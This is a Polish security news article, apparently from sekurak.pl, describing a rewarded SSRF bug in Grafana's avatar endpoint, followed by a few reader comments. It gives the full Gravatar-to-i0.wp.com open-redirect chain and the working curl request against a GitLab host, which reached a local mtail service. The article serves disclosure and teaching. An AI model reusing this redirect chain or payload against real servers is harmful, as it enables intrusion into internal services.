Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Zdobył ~50 000 PLN za zgłoszenie niewinnej podatności SSRF w Grafanie
Z podatnością Server-Side Request Forgery (SSRF) bywa różnie – czasem właściciele systemu, który ma tę lukę wzruszają ramionami – niby brak impactu. Czasem jednak można otrzymać całkiem sowitą nagrodę i tak też było w tym przypadku.
Przypomnijmy – SSRF to zmuszenie serwera (aplikacji) do wykonania żądania HTTP (lub innym protokołem) do hosta/portu wybranego przez atakującego. W czym problem? W tym, że często można komunikować się z localhost na serwerze omijając w ten sposób firewalla; czasem możliwy jest też kontakt z innymi serwerami w backendzie. Finalnie może to prowadzić do wycieku informacji czy nawet RCE (wykonanie kodu na serwerze). Wygląda to mniej więcej tak:
SSRF
Wracając do opisywanego buga, badacz na celownik wziął pobierania avatara (gravatara), dostępne pod taką ścieżką:
/avatar/:hash
Grafana dalej przekierowywała takie zapytanie do:
secure.gravatar.com/avatar/+:hash+”?”+this.reqParams
(a chcemy ją nieco zmylić, żeby wykonała żądanie np. do localhost). Pierwszy krok jest dość łatwy, w żądaniu do secure.gravatar.com/avatar/ wystarczy dodać parametr d w URL – następuje wtedy przekierowanie na i0.wp.com
Na i0.wp.com udało się znaleźć z kolei podatność Open Redirect, która umożliwia wykonanie przekierowania już na dowolny adres. Np. takie żądanie, zostałoby przekierowane do sekuraka:
http://i0.wp.com/sekurak.pl/1.bp.blogspot.com/
Dlaczego tak dziwnie? Związane jest to z niepoprawnie napisanym wyrażeniem regularnym (niespodzianka! :) oraz odciążeniem serwisu i0.wp.com przy serwowaniu obrazków z domeny bp.blogspot.com.
Finalna ścieżka przekierowań wyglądała tak:
https://secure.gravatar.com/avatar/anything?d=/atakujacy.com/1.bp.blogspot.com/ ->
http://i0.wp.com/atakujacy.com/1.bp.blogspot.com/ ->
https://atakujacy.com/1.bp.blogspot.com
Domena atakujący.com może już przekierowywać gdziekolwiek, łącznie z localhost (przy czym pamiętajmy że do [swojego] localhost przekieruje sam (atakowany) serwer wykonujący przekierowanie :) Tutaj np. udało się odwołać do usługi mtmail na porcie 3903 (na localhost), a pełen exploit wyglądał tak (redirect.rhynorater.com – to domena badacza):
curl "https://dev.gitlab.org/-/grafana/avatar/test%3fd%3dredirect.rhynorater.com%252f1.bp.blogspot.com%252fpoc.rhynorater.com%26cachebust"HTTP/1.1 200 OK
Server: nginx
[cut]
<html>
<head>
<title>mtail on :3903</title>
</head>
<body>
<h1>mtail on :3903</h1>
<p>Build: mtail version v3.0.0-rc35 git revision a33283598c4b7a70fc2f113680318f29d5826cca go version go1.14 go arch amd64 go os linux</p>
<p>Metrics: <a href=”/json”>json</a>, <a href=”/metrics”>prometheus</a>, <a href=”/varz”>varz</a></p>
<p>Debug: <a href=”/debug/pprof”>debug/pprof</a>, <a href=”/debug/vars”>debug/vars</a>, <a href=”/tracez”>tracez</a>, <a href=”/progz”>progz</a></p>
Badacz za znalezisko otrzymał nagrodę $12 000.
Jeśli chcesz dowiedzieć się więcej o podatności SSRF (i masie innych częstych luk w aplikacjach webowych) – odsyłam do naszej książki.
–Michał Sajdak
12000 $ dokladnie tyle ile macie ksiazek sprzedanych 🤔
Przypadek?🤨 Chyba nieee 😏
Książek rzeczywiście w okolicach 12 000 sprzedanych :)
Plus dla Was za przypominanie jak działa dana podatność. Mimo, że technicznie nic bym nie umiał zrobić, to opis z drugiego akapitu jest zrozumiały. Pokazuje o ilu rzeczach muszą myśleć autorzy aplikacji.
Najs. Grafana to takie rozwiązanie gdzie bug na bugu, bugiem pogania. Plus dla twórców za takie nagrody.